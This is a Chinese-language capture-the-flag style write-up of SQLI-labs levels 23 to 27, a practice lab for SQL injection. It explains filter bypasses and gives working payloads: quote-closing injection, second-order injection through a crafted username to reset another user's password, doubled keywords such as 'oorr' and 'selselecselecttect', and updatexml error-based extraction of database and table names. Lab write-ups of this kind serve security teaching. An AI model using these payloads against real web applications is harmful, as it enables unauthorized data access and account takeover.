SQLI-labs[Part 2]
本篇为SQLI-labs的Write-Up的第二部分
包含Level 23- Level 27
Level 23 过滤注释符 字符'注入
拼接语句发现注释符没有生效 应该是被过滤了
那只能通过拼接语句来除去后面的影响
拼接
?id=1' or '1'='1
?id=1%27%20or%20%271%27=%271
源码中最后的'导致语句闭合
Level 24 字符'二次注入
成功登录后可以进行密码重置
本次涉及二次注入 即语句存储在数据库中,当调用时发挥作用
首先创建一个新用户
密码为123
再创建一个用户abc'#
密码为666
修改abc'#用户的密码为999
发现abc'#用户密码没有被修改为999
而是abc用户的密码被修改为了999
这个注入利用了修改密码时 带入代码的用户名没有进行转义
通过abc'#闭合用户名为abc
导致能够越权修改abc的密码
Level 25 Or/And过滤 拼接绕过注入
本层过滤了or and等逻辑符号
绕过:利用过滤代码没有二次验证的缺陷 通过oorr 过滤了一个or后 剩下的拼接起来仍然为or
?id=1%27oorr%20%271%27=%271
Level 26 过滤空格绕过 括号绕过注入
第二十六关将逻辑运算符,注释符以及空格给过滤了
使用括号过滤空格
?id=1%27||(updatexml(1,concat(0x7e,(select(database()))),1))||%27
Level 27 Union/Select过滤 拼接绕过注入
27关过滤了union 和 select
没关系 我们使用拼接过滤
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'
selselecselecttect 过滤两次得到select